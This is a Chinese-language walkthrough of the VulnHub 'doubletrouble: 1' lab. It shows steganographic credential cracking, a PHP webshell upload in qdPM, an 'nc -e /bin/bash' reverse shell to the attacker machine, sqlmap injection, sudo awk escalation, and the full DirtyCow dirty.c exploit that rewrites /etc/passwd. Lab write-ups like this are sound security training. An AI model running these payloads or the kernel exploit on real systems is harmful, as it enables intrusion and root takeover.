DOUBLETROUBLE: 1

靶机介绍及下载：doubletrouble: 1 ~ VulnHub

1. 信息收集

1.1. 主机探测

netdiscover  -r 192.168.159.0/24

1.2. 端口扫描

 nmap -A 192.168.159.155 -p1-65535

开放端口：22【弱口令】，80【web信息收集】

1.3. web信息收集

80端口是个登陆界面，qdPM 9.1 有很多漏洞【Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 上可以查到RCE，SQL 注入，XSS等】但都需登陆后才能利用。

扫下目录

根据扫描结果找有价值的信息

在 http://192.168.159.157/core/config/databases.yml 找到了数据库配置信息

结合 install 页面发现可以重置80端口登录的用户名和密码，但重置完后依旧无法登录……折腾了好长时间没找到有价值的信息，看了别人的解法才发现忽略了 secret 下的图片，下载图片并用图片隐写工具读取信息

kali 先安装 steghide 和 stegseek ，用 steghide 查看已嵌入图片的文件信息，结果发现需要密码，由于 steghide 不提供密码爆破功能，所以用 stegseek 来爆破并提取嵌入的文件信息。

得到登录邮件和密码 otisrush@localhost.com/otis666

2. 渗透攻击

2.1. 登录获取 shell

用前面获得的 otisrush@localhost.com/otis666 登录，在 Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 看了几个漏洞的利用本质是利用更新用户信息 photo 来实现 shell 的上传，为此尝试上传一句话木马

根据 qdPM 9.1 - Remote Code Execution - PHP webapps Exploit 知上传后的路径在 http://192.168.159.157/uploads/users/ 下，蚁剑连接。

找了下没找到 flag，可能权限不够导致的，考虑提权

2.2. 提权

查权限

当渗透进系统并获得一个低权限shell后，如果允许当前用户通过 sudo 执行awk命令，可以通过 sudo awk 'BEGIN {system("/bin/bash")}' 进行提权。
awk | GTFOBins

而由上图可以看到出现了awk命令的帮助文档，说明可以通过sudo执行awk命令，注意蚁剑终端是不能直接提权的，试了下nc，结果当前权限可以正常执行，为此用 nc 反弹 shell 提权

蚁剑终端执行：nc -e /bin/bash 192.168.159.152 4445

kali 监听：nc -nvlp 4445

shell 有局限性，调用本地终端获取更高级的交互 shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

flag 没找到，但在根目录找到另一个虚拟机，可以用 python3 -m http.server 在靶机开个http服务下载，也可以用nc传递文件，kali中：nc -lvvp 4446 > doubletrouble.ova，靶机中：nc 192.168.159.152 4446 < doubletrouble.ova。本地VM将下载的第二个靶机导入

2.3. 主机探测

2.4. 端口扫描

所开端口：22，80

2.5. web 信息收集

80端口是个登录界面

登录处发现存在 SQL 注入

python sqlmap.py -r post.txt --batch -D doubletrouble -T users --dump

拿到两个用户信息，在22端口登录测试下，clapton/ZubZub99 可以进去，拿到第一个 flag

2.6. 提权

查内核版本

存在脏牛提权漏洞

从零入门linux内核安全：脏牛提权漏洞分析与补丁分析（CVE-2016-5195） - 知乎
脏牛(DirtyCow)Linux本地提权漏洞复现(CVE-2016-5195) - 无名之辈。 - 博客园

POC.c【dirty.c】

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

靶机创建poc.c，用 gcc 编译并提权

切换用户 firefart/root，拿到第二个 flag